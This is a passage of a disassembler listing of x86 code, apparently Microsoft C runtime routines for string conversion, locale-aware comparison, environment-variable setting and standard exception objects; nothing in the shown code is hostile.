push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_42672E push ebp call sub_41BCA5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_42672E push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_42672E push edi push [esp+18h+var_4] call sub_4269B0 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_4266DE loc_426726: ; CODE XREF: sub_4266C5+11j xor eax, eax loc_426728: ; CODE XREF: sub_4266C5+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42672E: ; CODE XREF: sub_4266C5+29j ; sub_4266C5+38j ... or eax, 0FFFFFFFFh jmp short loc_426728 sub_4266C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426733 proc near ; CODE XREF: sub_426686+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428CF8 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DE340, ebx push 1 pop edi jnz short loc_4267A6 push edi mov eax, offset dword_428948 push eax push edi push eax push ebx push ebx call dword_428008 ; CompareStringW test eax, eax jz short loc_426783 mov dword_4DE340, edi jmp short loc_4267A6 ; --------------------------------------------------------------------------- loc_426783: ; CODE XREF: sub_426733+46j push edi mov eax, offset word_4CDB1C push eax push edi push eax push ebx push ebx call dword_42800C ; CompareStringA test eax, eax jz loc_42699C mov dword_4DE340, 2 loc_4267A6: ; CODE XREF: sub_426733+31j ; sub_426733+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_4267BD push esi push [ebp+arg_8] call sub_4235A7 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_4267BD: ; CODE XREF: sub_426733+78j cmp [ebp+arg_14], ebx jle short loc_4267D2 push [ebp+arg_14] push [ebp+arg_10] call sub_4235A7 pop ecx pop ecx mov [ebp+arg_14], eax loc_4267D2: ; CODE XREF: sub_426733+8Dj mov eax, dword_4DE340 cmp eax, 2 jnz short loc_4267F7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42800C ; CompareStringA jmp loc_42699E ; --------------------------------------------------------------------------- loc_4267F7: ; CODE XREF: sub_426733+A7j cmp eax, edi jnz loc_42699C cmp [ebp+arg_18], ebx jnz short loc_42680C mov eax, dword_4DE0FC mov [ebp+arg_18], eax loc_42680C: ; CODE XREF: sub_426733+CFj cmp esi, ebx jz short loc_426819 cmp [ebp+arg_14], ebx jnz loc_4268B1 loc_426819: ; CODE XREF: sub_426733+DBj cmp esi, [ebp+arg_14] jnz short loc_426826 loc_42681E: ; CODE XREF: sub_426733+13Cj ; sub_426733+16Dj push 2 loc_426820: ; CODE XREF: sub_426733+146j pop eax jmp loc_42699E ; --------------------------------------------------------------------------- loc_426826: ; CODE XREF: sub_426733+E9j cmp [ebp+arg_14], edi jle short loc_426832 loc_42682B: ; CODE XREF: sub_426733+151j ; sub_426733+159j ... mov eax, edi jmp loc_42699E ; --------------------------------------------------------------------------- loc_426832: ; CODE XREF: sub_426733+F6j cmp esi, edi jg short loc_426877 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_4281D0 ; GetCPInfo test eax, eax jz loc_42699C cmp esi, ebx jle short loc_42687B cmp [ebp+var_3C], 2 jb short loc_426877 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426877 loc_42685D: ; CODE XREF: sub_426733+142j mov dl, [eax+1] cmp dl, bl jz short loc_426877 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426871 cmp cl, dl jbe short loc_42681E loc_426871: ; CODE XREF: sub_426733+138j inc eax inc eax cmp [eax], bl jnz short loc_42685D loc_426877: ; CODE XREF: sub_426733+101j ; sub_426733+120j ... push 3 jmp short loc_426820 ; --------------------------------------------------------------------------- loc_42687B: ; CODE XREF: sub_426733+11Aj cmp [ebp+arg_14], ebx jle short loc_4268B1 cmp [ebp+var_3C], 2 jb short loc_42682B lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42682B loc_42688E: ; CODE XREF: sub_426733+177j mov dl, [eax+1] cmp dl, bl jz short loc_42682B mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_4268A6 cmp cl, dl jbe loc_42681E loc_4268A6: ; CODE XREF: sub_426733+169j inc eax inc eax cmp [eax], bl jnz short loc_42688E jmp loc_42682B ; --------------------------------------------------------------------------- loc_4268B1: ; CODE XREF: sub_426733+E0j ; sub_426733+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_428184 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_42699C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_426900 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_426900: ; CODE XREF: sub_426733+1B5j cmp [ebp+var_24], ebx jz loc_42699C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_428184 call esi ; MultiByteToWideChar test eax, eax jz short loc_42699C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42699C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42696B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42696B: ; CODE XREF: sub_426733+224j cmp edi, ebx jz short loc_42699C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_428184 ; MultiByteToWideChar test eax, eax jz short loc_42699C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_428008 ; CompareStringW jmp short loc_42699E ; --------------------------------------------------------------------------- loc_42699C: ; CODE XREF: sub_426733+63j ; sub_426733+C6j ... xor eax, eax loc_42699E: ; CODE XREF: sub_426733+BFj ; sub_426733+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426733 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4269B0 proc near ; CODE XREF: sub_4266C5+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_426A14 push 3Dh push [ebp+arg_0] call sub_426BF6 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_426A14 cmp [ebp+arg_0], esi jz short loc_426A14 mov eax, dword_4DE054 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DE058 jnz short loc_4269FA push eax call sub_426B8F pop ecx mov dword_4DE054, eax loc_4269FA: ; CODE XREF: sub_4269B0+3Cj cmp eax, edi jnz short loc_426A52 cmp [ebp+arg_4], edi jz short loc_426A1C cmp dword_4DE05C, edi jz short loc_426A1C call sub_4266C5 test eax, eax jz short loc_426A52 loc_426A14: ; CODE XREF: sub_4269B0+Dj ; sub_4269B0+22j ... or eax, 0FFFFFFFFh loc_426A17: ; CODE XREF: sub_4269B0+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426A1C: ; CODE XREF: sub_4269B0+51j ; sub_4269B0+59j cmp ebx, edi jnz loc_426B30 push 4 call sub_41BCA5 cmp eax, edi pop ecx mov dword_4DE054, eax jz short loc_426A14 mov [eax], edi cmp dword_4DE05C, edi jnz short loc_426A52 push 4 call sub_41BCA5 cmp eax, edi pop ecx mov dword_4DE05C, eax jz short loc_426A14 mov [eax], edi loc_426A52: ; CODE XREF: sub_4269B0+4Cj ; sub_4269B0+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DE054 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426B37 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_426AB2 cmp dword ptr [edi], 0 jz short loc_426AB2 test ebx, ebx jz short loc_426AAA push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B881 pop ecx loc_426A84: ; CODE XREF: sub_4269B0+E2j cmp dword ptr [edi], 0 jz short loc_426A94 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_426A84 ; --------------------------------------------------------------------------- loc_426A94: ; CODE XREF: sub_4269B0+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B9D2 pop ecx test eax, eax pop ecx jz short loc_426AE4 jmp short loc_426ADF ; --------------------------------------------------------------------------- loc_426AAA: ; CODE XREF: sub_4269B0+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_426AE4 ; --------------------------------------------------------------------------- loc_426AB2: ; CODE XREF: sub_4269B0+BDj ; sub_4269B0+C2j test ebx, ebx jnz short loc_426B30 test esi, esi jge short loc_426ABC neg esi loc_426ABC: ; CODE XREF: sub_4269B0+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B9D2 pop ecx test eax, eax pop ecx jz loc_426A14 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_426ADF: ; CODE XREF: sub_4269B0+F8j mov dword_4DE054, eax loc_426AE4: ; CODE XREF: sub_4269B0+F6j ; sub_4269B0+100j cmp [ebp+arg_4], 0 jz short loc_426B30 push [ebp+arg_0] call sub_41B7B0 inc eax inc eax push eax call sub_41BCA5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_426B30 push [ebp+arg_0] push esi call sub_41C680 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_428004 ; SetEnvironmentVariableA push esi call sub_41B881 pop ecx loc_426B30: ; CODE XREF: sub_4269B0+6Ej ; sub_4269B0+104j ... xor eax, eax jmp loc_426A17 sub_4269B0 endp ; =============== S U B R O U T I N E ======================================= sub_426B37 proc near ; CODE XREF: sub_4269B0+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DE054 push edi mov eax, [esi] test eax, eax jz short loc_426B72 mov edi, [esp+8+arg_4] loc_426B49: ; CODE XREF: sub_426B37+39j push edi push eax push [esp+10h+arg_0] call sub_426686 add esp, 0Ch test eax, eax jnz short loc_426B68 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_426B82 test al, al jz short loc_426B82 loc_426B68: ; CODE XREF: sub_426B37+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426B49 loc_426B72: ; CODE XREF: sub_426B37+Cj mov eax, esi sub eax, dword_4DE054 sar eax, 2 neg eax loc_426B7F: ; CODE XREF: sub_426B37+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426B82: ; CODE XREF: sub_426B37+2Bj ; sub_426B37+2Fj mov eax, esi sub eax, dword_4DE054 sar eax, 2 jmp short loc_426B7F sub_426B37 endp ; =============== S U B R O U T I N E ======================================= sub_426B8F proc near ; CODE XREF: sub_4269B0+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426B9E xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426B9E: ; CODE XREF: sub_426B8F+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_426BB0 loc_426BA6: ; CODE XREF: sub_426B8F+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_426BA6 loc_426BB0: ; CODE XREF: sub_426B8F+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41BCA5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_426BD1 push 9 call sub_41E229 pop ecx loc_426BD1: ; CODE XREF: sub_426B8F+38j mov eax, [edi] mov ebx, edi loc_426BD5: ; CODE XREF: sub_426B8F+5Bj test eax, eax jz short loc_426BEC push eax add ebx, 4 call sub_426C69 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_426BD5 ; --------------------------------------------------------------------------- loc_426BEC: ; CODE XREF: sub_426B8F+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_426B8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BF6 proc near ; CODE XREF: sub_4269B0+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DF49C, 0 jnz short loc_426C11 push [ebp+arg_4] push [ebp+arg_0] call sub_41C780 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_426C11: ; CODE XREF: sub_426BF6+Aj mov ecx, [ebp+arg_0] loc_426C14: ; CODE XREF: sub_426BF6+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426C57 movzx edx, al test byte_4DF5A1[edx], 4 jz short loc_426C43 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426C4E movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_426C52 jmp short loc_426C4B ; --------------------------------------------------------------------------- loc_426C43: ; CODE XREF: sub_426BF6+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426C57 loc_426C4B: ; CODE XREF: sub_426BF6+4Bj inc ecx jmp short loc_426C14 ; --------------------------------------------------------------------------- loc_426C4E: ; CODE XREF: sub_426BF6+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426C52: ; CODE XREF: sub_426BF6+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426C57: ; CODE XREF: sub_426BF6+25j ; sub_426BF6+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_426BF6 endp ; =============== S U B R O U T I N E ======================================= sub_426C69 proc near ; CODE XREF: sub_4185D4+21p ; sub_426B8F+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_426C90 push esi call sub_41B7B0 inc eax push eax call sub_41BCA5 pop ecx test eax, eax pop ecx jz short loc_426C90 push esi push eax call sub_41C680 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_426C90: ; CODE XREF: sub_426C69+7j ; sub_426C69+1Aj xor eax, eax pop esi retn sub_426C69 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426CA0 proc near ; CODE XREF: sub_40D310+12p ; sub_40D36A+12p ... mov eax, offset loc_4276D4 call sub_41D434 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40D515 mov esi, offset aStringTooLong ; "string too long" push esi call sub_41B7B0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40D54D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_426CFA lea eax, [ebp-3Ch] push offset dword_429080 push eax mov dword ptr [ebp-3Ch], offset off_428D14 call sub_427179 pop esi sub_426CA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426CFA proc near ; CODE XREF: sub_426CA0+3Fp ; sub_426ECC+3Fp mov eax, offset loc_4276E8 call sub_41D434 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_43FE14 call sub_42709E mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_40D515 push dword_428D40 mov ecx, edi push 0 push ebx call sub_40D3C2 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_428D34 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_426CFA endp ; =============== S U B R O U T I N E ======================================= sub_426D5E proc near ; DATA XREF: .packed:00428D18o ; .packed:00428D38o ... mov eax, [ecx+10h] test eax, eax jnz short locret_426D6A mov eax, offset dword_4286A8 locret_426D6A: ; CODE XREF: sub_426D5E+5j retn sub_426D5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426D6B proc near ; DATA XREF: .packed:00428D3Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426DE1 lea eax, [ebp+var_1C] push offset dword_4290F0 push eax call sub_427179 sub_426D6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426D88 proc near ; CODE XREF: .packed:00426DC8p ; DATA XREF: .packed:004290F4o mov eax, offset loc_4276FC call sub_41D434 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_428D34 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D515 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_427125 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_426D88 endp ; --------------------------------------------------------------------------- loc_426DC5: ; DATA XREF: .packed:off_428D34o push esi mov esi, ecx call sub_426D88 test byte ptr [esp+8], 1 jz short loc_426DDB push esi call sub_41D453 pop ecx loc_426DDB: ; CODE XREF: .packed:00426DD2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426DE1 proc near ; CODE XREF: sub_426D6B+Ap ; sub_426EB4+7p ... mov eax, offset loc_427710 call sub_41D434 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_4270DB mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_40D515 push dword_428D40 mov ecx, edi push 0 push ebx call sub_40D3C2 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_428D34 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_426DE1 endp ; =============== S U B R O U T I N E ======================================= sub_426E3E proc near ; CODE XREF: sub_426E7B+20p ; DATA XREF: .packed:00429084o mov eax, offset loc_427724 call sub_41D434 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_428D34 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D515 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_427125 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_426E3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E7B proc near ; DATA XREF: .packed:00428D1Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426EB4 lea eax, [ebp+var_1C] push offset dword_429080 push eax call sub_427179 loc_426E98: ; DATA XREF: .packed:off_428D14o push esi mov esi, ecx call sub_426E3E test [esp+20h+var_18], 1 jz short loc_426EAE push esi call sub_41D453 pop ecx loc_426EAE: ; CODE XREF: sub_426E7B+2Aj mov eax, esi pop esi retn 4 sub_426E7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426EB4 proc near ; CODE XREF: sub_426E7B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_426DE1 mov dword ptr [esi], offset off_428D14 mov eax, esi pop esi retn 4 sub_426EB4 endp ; =============== S U B R O U T I N E ======================================= sub_426ECC proc near ; CODE XREF: sub_40D3C2+13p ; sub_40D582+Ep mov eax, offset loc_427738 call sub_41D434 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40D515 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_41B7B0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40D54D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_426CFA lea eax, [ebp-3Ch] push offset dword_4291A8 push eax mov dword ptr [ebp-3Ch], offset off_428D48 call sub_427179 pop esi sub_426ECC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426F26 proc near ; CODE XREF: sub_426F63+20p ; DATA XREF: .packed:004291ACo mov eax, offset loc_42774C call sub_41D434 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_428D34 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D515 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_427125 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_426F26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F63 proc near ; DATA XREF: .packed:00428D50o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426F9C lea eax, [ebp+var_1C] push offset dword_4291A8 push eax call sub_427179 loc_426F80: ; DATA XREF: .packed:off_428D48o push esi mov esi, ecx call sub_426F26 test [esp+20h+var_18], 1 jz short loc_426F96 push esi call sub_41D453 pop ecx loc_426F96: ; CODE XREF: sub_426F63+2Aj mov eax, esi pop esi retn 4 sub_426F63 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426F9C proc near ; CODE XREF: sub_426F63+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_426DE1 mov dword ptr [esi], offset off_428D48 mov eax, esi pop esi retn 4 sub_426F9C endp ; =============== S U B R O U T I N E ======================================= sub_426FB4 proc near ; DATA XREF: .packed:0042A018o ; FUNCTION CHUNK AT 00426FEA SIZE 0000000C BYTES test byte_4DE34C, 1 jnz short loc_426FC4 or byte_4DE34C, 1 loc_426FC4: ; CODE XREF: sub_426FB4+7j call sub_426FDE test byte_4DF6E0, 1 jnz short loc_426FD9 or byte_4DF6E0, 1 loc_426FD9: ; CODE XREF: sub_426FB4+1Cj jmp loc_426FEA sub_426FB4 endp ; =============== S U B R O U T I N E ======================================= sub_426FDE proc near ; CODE XREF: sub_426FB4:loc_426FC4p push offset nullsub_1 call sub_41D810 pop ecx retn sub_426FDE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426FB4 loc_426FEA: ; CODE XREF: sub_426FB4:loc_426FD9j push offset nullsub_1 call sub_41D810 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_426FB4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426FF6 proc near ; CODE XREF: sub_40CCA2+5Ep ; sub_40F23F+148p ... jmp dword_42822C sub_426FF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426FFC proc near ; CODE XREF: sub_41D0A0+23p ; sub_41D344+13p jmp dword_4281A0 sub_426FFC endp ; =============== S U B R O U T I N E ======================================= sub_427002 proc near ; CODE XREF: sub_4177CF+E2p ; sub_4177CF+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DE0EC, 0 push ebx jnz short loc_427048 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_427014: ; CODE XREF: sub_427002+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_427026 cmp bx, 41h jb short loc_427026 add ebx, 20h loc_427026: ; CODE XREF: sub_427002+19j ; sub_427002+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_427038 cmp ax, 41h jb short loc_427038 add eax, 20h loc_427038: ; CODE XREF: sub_427002+2Bj ; sub_427002+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_427078 cmp bx, ax jz short loc_427014 jmp short loc_427078 ; --------------------------------------------------------------------------- loc_427048: ; CODE XREF: sub_427002+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_427052: ; CODE XREF: sub_427002+72j mov ax, [esi] inc esi push eax inc esi call sub_4271B3 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4271B3 pop ecx test bx, bx pop ecx jz short loc_427076 cmp bx, ax jz short loc_427052 loc_427076: ; CODE XREF: sub_427002+6Dj pop edi pop esi loc_427078: ; CODE XREF: sub_427002+3Dj ; sub_427002+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_427002 endp ; =============== S U B R O U T I N E ======================================= sub_427082 proc near ; DATA XREF: .packed:off_428D70o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_427125 test [esp+4+arg_0], 1 jz short loc_427098 push esi call sub_41D453 pop ecx loc_427098: ; CODE XREF: sub_427082+Dj mov eax, esi pop esi retn 4 sub_427082 endp ; =============== S U B R O U T I N E ======================================= sub_42709E proc near ; CODE XREF: sub_426CFA+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_428D70 push dword ptr [edi] call sub_41B7B0 inc eax push eax call sub_41D795 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4270CD push dword ptr [edi] push eax call sub_41C680 pop ecx pop ecx loc_4270CD: ; CODE XREF: sub_42709E+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42709E endp ; =============== S U B R O U T I N E ======================================= sub_4270DB proc near ; CODE XREF: sub_426DE1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_428D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_427118 push dword ptr [edi+4] call sub_41B7B0 inc eax push eax call sub_41D795 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42711E push dword ptr [edi+4] push eax call sub_41C680 pop ecx pop ecx jmp short loc_42711E ; --------------------------------------------------------------------------- loc_427118: ; CODE XREF: sub_4270DB+16j mov eax, [edi+4] mov [esi+4], eax loc_42711E: ; CODE XREF: sub_4270DB+2Ej ; sub_4270DB+3Bj mov eax, esi pop edi pop esi retn 4 sub_4270DB endp ; =============== S U B R O U T I N E ======================================= sub_427125 proc near ; CODE XREF: sub_426D88+2Bp ; sub_426E3E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_428D70 jz short locret_42713A push dword ptr [ecx+4] call sub_41D453 pop ecx locret_42713A: ; CODE XREF: sub_427125+Aj retn sub_427125 endp ; =============== S U B R O U T I N E ======================================= sub_42713B proc near ; DATA XREF: .packed:00428D74o mov eax, [ecx+4] test eax, eax jnz short locret_427147 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_427147: ; CODE XREF: sub_42713B+5j retn sub_42713B endp ; =============== S U B R O U T I N E ======================================= sub_427148 proc near ; CODE XREF: .packed:00427160p mov dword ptr [ecx], offset off_428D90 mov ecx, [ecx+4] test ecx, ecx jz short locret_42715C push ecx call sub_41B881 pop ecx locret_42715C: ; CODE XREF: sub_427148+Bj retn sub_427148 endp ; --------------------------------------------------------------------------- loc_42715D: ; DATA XREF: .packed:off_428D90o push esi mov esi, ecx call sub_427148 test byte ptr [esp+8], 1 jz short loc_427173 push esi call sub_41D453 pop ecx loc_427173: ; CODE XREF: .packed:0042716Aj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427179 proc near ; CODE XREF: sub_426CA0+54p ; sub_426D6B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_428D98 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_42805C ; RaiseException pop edi pop esi leave retn 8 sub_427179 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4271B3 proc near ; CODE XREF: sub_427002+56p ; sub_427002+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4271C5 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4271C5: ; 